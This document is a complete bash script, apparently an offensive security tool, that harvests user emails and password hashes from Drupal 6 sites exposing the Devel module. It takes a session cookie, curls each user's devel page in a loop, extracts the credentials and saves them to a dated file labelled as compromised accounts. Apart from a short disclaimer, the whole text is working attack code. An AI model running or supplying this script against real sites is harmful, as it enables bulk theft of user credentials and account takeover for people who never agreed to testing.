#!/bin/bash

# Drupal 6 - Devel Module Credential Harvester
# greg.foss[at]owasp.org
#
# ONLY USE THIS SCRIPT LEGALLY, AGAINST AUTHORIZED TARGETS
# THE DEVELOPER OF THIS SCRIPT IS NOT LIABLE FOR ILLEGAL/QUESTIONABLE ACTIVITIES CONDUCTED WITH THIS TOOL
# BY RUNNING THIS SCRIPT, YOU AGREE THAT YOU HAVE READ AND UNDERSTAND THESE TERMS

clear
#display banner and define variables
echo "  ___                      _    __              "
echo " |   \ _ _ _  _ _ __  __ _| |  / /              "
echo " | |) | '_| || | '_ \/ _\` | | / _ \             "
echo " |___/|_|  \_,_| .__/\__,_|_| \___/             "
echo "               |_|                              "
echo "         Devel Module [6.x] Credential Harvester"
echo "         greg.foss[at]owasp.org                 "
echo ""
echo -e "[-] Define the target application: [www.site.com]"
read site
out=$(echo $site | cut -d "/" -f 1)
echo -e "[-] Enter your session id: [session=id]"
read session
echo -e "[-] Protocol: [http] / [https]"
read proto
if [ $proto = "http" ]; then
	protocol="http"
else
	protocol="-k https"
fi
echo -e "[-] Is the application using clean URL's? [y/n]"
read clean
echo -e "[-] How many accounts do you want to gather hashes from?"
read accounts

#um... yeah...
echo ""
echo "[*] grabbing hashes, please be patient..."
echo ""

#create local directory and curl data from the site
mkdir export
if [ $clean = "n" ]; then
	for i in $(seq 1 $accounts)
	do
		curl -s -A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" -b $session $protocol://$site/?q=user/$i/devel | grep -i "pass" -A 27 > export/$i.txt
	done
else
	for i in $(seq 1 $accounts)
	do
		curl -s -A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)" -b $session $protocol://$site/user/$i/devel | grep -i "pass" -A 27 > export/$i.txt
	done
fi

#pull e-mails + hashes, make it pretty and store data
cat export/* | grep "krumo-string" | cut -c 33-64 |  grep -v '<\|@\|:' >> hashes.txt
cat export/* | grep "@" | cut -c 33-100 | sed 's/.........$//' >> emails.txt
paste emails.txt hashes.txt > dump.txt
cat dump.txt | sort > $out"_users_"`date '+%m%d%Y'`".txt"
count=$(cat dump.txt | wc -l);

#display credz
echo $count" => total account credentials compromised"
echo "----------------------------------------"
cat $out"_users_"`date '+%m%d%Y'`".txt"
echo "----------------------------------------"
echo "credentials saved to: "$out"_users_"`date '+%m%d%Y'`".txt"
echo ""
echo "party on..."
echo ""

#clean up
rm hashes.txt
rm emails.txt
rm dump.txt
rm -rf export
